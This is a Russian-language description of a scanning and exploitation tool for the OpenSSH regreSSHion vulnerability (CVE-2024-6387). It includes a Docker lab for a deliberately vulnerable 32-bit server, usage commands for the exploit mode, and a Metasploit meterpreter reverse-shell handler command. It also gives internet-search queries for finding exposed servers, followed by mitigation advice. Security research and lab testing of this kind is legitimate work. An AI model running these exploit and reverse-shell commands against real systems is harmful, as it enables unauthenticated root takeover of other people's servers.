
Сканирует и эксплуатирует CVE-2024-6387 (regreSSHion) на серверах OpenSSH. Возможности: многопоточное сканирование, получение баннера, определение времени ожидания (grace time) и режим эксплуатации с reverse shell полезной нагрузкой.
По сути, это статистическая уязвимость: для победы в гонке (race condition) и успешного выполнения произвольного кода требуется огромное количество попыток. Атакующим необходимо преодолеть множество препятствий, сообщил Шварц изданию SecurityWeek. «Даже в лучшем случае эксплуатация самой известной уязвимости занимает более 4 часов».
В примечаниях к выпуску OpenSSH 9.8 разработчики отметили, что уязвимость подтверждена только на 32-битных системах Linux на базе glibc, а OpenBSD не затронута.
Окружение настраивается с помощью Docker.
# 1.1. Создание Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCЭксплойт работает ТОЛЬКО для 32-битных OpenSSH-серверов. Это связано с тем, что PoC использует 32-битные указатели! Также известно, что некоторые версии уже пропатчены, и не каждый сервер уязвим. Протестировано на: Kali Linux, ParrotSec, Ubuntu 22.04
Удалённая неаутентифицированная уязвимость выполнения кода в сервере OpenSSH
CVE-2024-6387.py — это лёгкий и эффективный инструмент, предназначенный для выявления серверов, работающих на уязвимых версиях OpenSSH, с особым акцентом на недавно обнаруженную уязвимость regreSSHion (CVE-2024-6387). Этот скрипт обеспечивает быстрое сканирование множества IP-адресов, доменных имён и CIDR-диапазонов для обнаружения потенциальных уязвимостей и обеспечения безопасности вашей инфраструктуры.
В сервере OpenSSH (sshd) была обнаружена гонка обработчиков сигналов: если клиент не проходит аутентификацию в течение LoginGraceTime секунд (120 по умолчанию, 600 в старых версиях OpenSSH), то асинхронно вызывается обработчик SIGALRM от sshd. Однако этот обработчик сигнала вызывает различные функции, которые не являются async-signal-safe, например, syslog().
Технические подробности можно найти здесь.
Уязвимость, обнаруженная исследователями из Qualys в мае 2024 года и получившая идентификатор CVE-2024-6387, вызвана гонкой обработчиков сигналов в sshd, которая позволяет неаутентифицированным удалённым атакующим выполнять произвольный код с правами root.
«Если клиент не проходит аутентификацию в течение LoginGraceTime секунд (120 по умолчанию), то обработчик SIGALRM от sshd вызывается асинхронно и вызывает различные функции, которые не являются async-signal-safe».
«Удалённый неаутентифицированный атакующий может воспользоваться этой уязвимостью для выполнения произвольного кода с привилегиями root».
Требование: python3 последней версии
### Аргументы командной строки
mode: Выбирает режим работы. Варианты: scan или exploit.
-T, --targets: IP-адреса, доменные имена, пути к файлам, содержащим IP-адреса, или CIDR-диапазоны.
-f, --outputfile: Файл для сохранения результатов (например, result.json).
-g, --gracetimecheck: Время ожидания в секундах после определения версии для проверки смягчения LoginGraceTime (по умолчанию: 120 секунд).
-n, --nic: Сетевой NIC (по умолчанию: 'eth0').
-o, --output: Формат вывода результатов (варианты: 'csv', 'txt', 'json').
-p, --port: Номер порта для проверки или эксплуатации (по умолчанию: 22).
-s, --speed: Количество потоков для повышения шансов на гонку (по умолчанию: 10).
-t, --timeout: Таймаут подключения в секундах (по умолчанию: 1 секунда).
-H, --resolve-hostnames: Разрешать имена хостов
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Всё, что вам нужно сделать, — это сначала выполнить команду ниже (замените {yourip} на ваш обработчик), а затем запустить эксплойт с помощью команды выше
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
Инструмент предоставляет цветной вывод в консоль для лучшей читаемости:
Зелёный: Успешное подключение или операция. Красный: Неудачное подключение или ошибка. Жёлтый: Предупреждения или важная информация. Голубой: Общая информация или обновления статуса.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessУправление исправлениями: Своевременное применение доступных исправлений для OpenSSH имеет решающее значение для закрытия окна уязвимости. Своевременное обновление гарантирует, что известные эксплойты не смогут быть использованы против ваших систем, тем самым сокращая окно возможностей для атакующих.
Усиленный контроль доступа: Ограничение SSH-доступа с помощью сетевых средств контроля добавляет дополнительный уровень защиты. Этот подход минимизирует подверженность потенциальным атакующим, ограничивая SSH-подключения только авторизованными сетями или IP-адресами. Внедрение таких инструментов, как правила брандмауэра, или использование VPN для безопасного доступа может эффективно обеспечить соблюдение этих ограничений.
Сегментация сети: Разделение сети на сегменты помогает сдержать последствия потенциального взлома. Сегментируя критические системы и конфиденциальные данные от менее критичных частей сети, вы снижаете риск горизонтального перемещения атакующих. Эта сегментация может быть дополнена строгими средствами контроля доступа и мониторингом для обнаружения и реагирования на любые несанкционированные попытки проникновения в эти сегменты.
Системы обнаружения вторжений (IDS): Развёртывание IDS или систем предотвращения вторжений (IPS) обеспечивает мониторинг сетевого трафика и системных журналов в реальном времени. Эти системы могут обнаруживать подозрительные действия и потенциальные попытки эксплуатации, связанные с уязвимостью regreSSHion. Оповещения, срабатывающие в таких системах, позволяют оперативно проводить расследование и принимать меры до нанесения значительного ущерба.
Мониторинг попыток эксплуатации: Непрерывный мониторинг сетевых и системных журналов имеет решающее значение. Следите за любыми необычными закономерностями или действиями, которые могут указывать на попытку эксплуатации уязвимости OpenSSH. Такой проактивный подход помогает выявлять угрозы и реагировать на них до того, как они смогут нанести вред.